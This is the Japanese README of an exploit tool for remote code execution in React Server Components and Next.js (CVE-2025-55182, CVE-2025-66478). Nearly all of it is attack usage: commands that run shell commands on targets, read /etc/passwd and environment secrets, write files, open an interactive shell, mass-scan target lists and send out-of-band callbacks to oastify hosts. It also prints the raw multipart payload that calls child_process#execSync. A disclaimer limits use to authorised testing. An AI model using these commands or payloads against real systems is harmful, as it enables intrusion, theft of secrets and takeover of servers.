React Server ComponentsとNext.jsのCVE-2025-55182およびCVE-2025-66478のエクスプロイトツール。RCEガジェット、ファイル読み書き、OOBコールバック、許可されたセキュリティテスト用のインタラクティブシェルを備えています。
| プロパティ | 値 |
|---|
| CVE ID | CVE-2025-55182, CVE-2025-66478 |
| CVSSスコア | 10.0 (CRITICAL) |
| 影響を受けるバージョン | React < 19.2.0, Next.js < 15.0.5 |
| 脆弱性タイプ | リモートコード実行 (RCE) |
| 攻撃ベクター | ネットワーク |
pip install requests
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
| 引数 | 説明 | 例 |
|---|---|---|
-u, --url | 単一ターゲットURL | -u https://target.com |
-l, --list | URLを含むファイル | -l targets.txt |
| 引数 | 説明 |
|---|---|
--detect | Next.js/RSCの使用を検出 |
--check | クイック脆弱性チェック(数式テスト) |
--scan | 完全な脆弱性スキャン(PortSwiggerスタイル) |
--test-all | すべてのガジェットと検出ペイロードをテスト |
| 引数 | 説明 | 例 |
|---|---|---|
--cmd | シェルコマンドを実行 | --cmd "id" |
--gadget | 使用するガジェットを指定 | --gadget execSync |
--read | ターゲットからファイルを読み取り | --read /etc/passwd |
--write | ターゲットにファイルを書き込み | --write /tmp/test.txt "content" |
--js | JavaScriptコードを実行 | --js "process.env" |
--shell | 対話型シェルを起動 | --shell |
--oob | OOBコールバックホスト | --oob xyz.oastify.com |
| 引数 | 説明 | 例 |
|---|---|---|
-p, --proxy | HTTP/HTTPSプロキシ | -p http://127.0.0.1:8080 |
-c, --cookies | Cookie文字列 | -c "session=abc123" |
-H, --header | 追加ヘッダー(繰り返し可能) | -H "X-Custom: value" |
-t, --threads | 一括スキャンのスレッド数 | -t 20 |
--timeout | リクエストタイムアウト(秒) | --timeout 60 |
| 引数 | 説明 |
|---|---|
-o, --output | 結果をファイルに保存(.jsonまたは.txt) |
-q, --quiet | バナーを非表示 |
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
python3 exploit-custom.py -u https://target.com --shell
シェルコマンド:
| コマンド | 説明 |
|---|---|
<command> | シェルコマンドを実行 |
!read <file> | ファイルを読み取り |
!write <file> <content> | ファイルに書き込み |
!js <code> | JavaScriptを実行 |
!gadget <name> | ガジェットを切り替え |
exit | シェルを終了 |
| 名前 | モジュールID | 説明 |
|---|---|---|
execSync | child_process#execSync | 直接シェルコマンド実行 |
execFileSync | child_process#execFileSync | バイナリファイルの実行 |
spawnSync | child_process#spawnSync | 引数付きでプロセスを起動 |
vm_runInThisContext | vm#runInThisContext | 現在のコンテキストでJSを実行 |
vm_runInNewContext | vm#runInNewContext | サンドボックスエスケープでJSを実行 |
vm_runInThisContext_global | vm#runInThisContext | global.process経由で実行 |
| 名前 | モジュールID | 説明 |
|---|---|---|
fs_readFileSync | fs#readFileSync | 任意のファイルを読み取り |
fs_writeFileSync | fs#writeFileSync | 任意のファイルに書き込み |
| 名前 | 説明 |
|---|---|
vm_fetch | fetch APIを介したHTTPリクエスト (Node 18+) |
vm_http | httpモジュールを介したHTTPリクエスト |
--scanモードでは、以下のPortSwiggerスタイルの検出ペイロードを使用します:
| ペイロード | 説明 |
|---|---|
property_reference | コロン区切りのプロパティ参照 ["$1:a:a"] |
property_reference_v2 | 代替参照 ["$1:b:b"] |
property_reference_constructor | プロパティ参照によるコンストラクタアクセス |
property_reference_proto | プロパティ参照によるプロトチェーンアクセス |
action_ref_vm | vm#runInThisContextを使ったACTION_REF |
action_ref_execSync | child_process#execSyncを使ったACTION_REF |
このツールは複数のOOBコールバックメソッドをサポートしています:
| メソッド | 説明 |
|---|---|
curl | curlコマンドによるHTTPリクエスト |
wget | wgetコマンドによるHTTPリクエスト |
nslookup | DNSクエリ |
ping | ICMP ping |
fetch | Node.js fetch API |
http | Node.js httpモジュール |
| 色 | ステータス | 意味 |
|---|---|---|
| 緑 | [VULN] | 脆弱 - RCE確認 |
| 黄 | [PATCH] | パッチ適用済み - Server Actionsは有効だが保護されている |
| 青 | [RSC] | Server Actions検出 |
| シアン | [NEXT] | Next.js検出 |
| 赤 | [ERR] | 接続エラー |
[VULN] property_reference Vulnerable pattern detected!
-> Error digest pattern: E{"digest"... (needs OOB verification)
[SAFE] property_reference_v2 HTTP 200
[500] action_ref_vm digest:12345
このツールはReact Server Componentsの"flight format"レスポンスを解析します:
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--
Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]
# 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt
# 2. Bulk scan
python3 exploit-custom.py -l targets.txt --scan -o results.json
# 3. Verify with OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com
# 1. Detect technology
python3 exploit-custom.py -u https://target.com --detect
# 2. Analyze with Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# 3. Exploit
python3 exploit-custom.py -u https://target.com --shell
このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。
警告: コンピュータシステムへの不正アクセスは違法です。このツールは、所有しているシステム、またはテストする明示的な書面による許可があるシステムでのみ使用してください。
作者は、このツールの誤用または損害について責任を負いません。
このツールは、セキュリティ研究および許可されたペネトレーションテストのために公開されています。
Author: Ünsal Furkan Harani Version: 2.0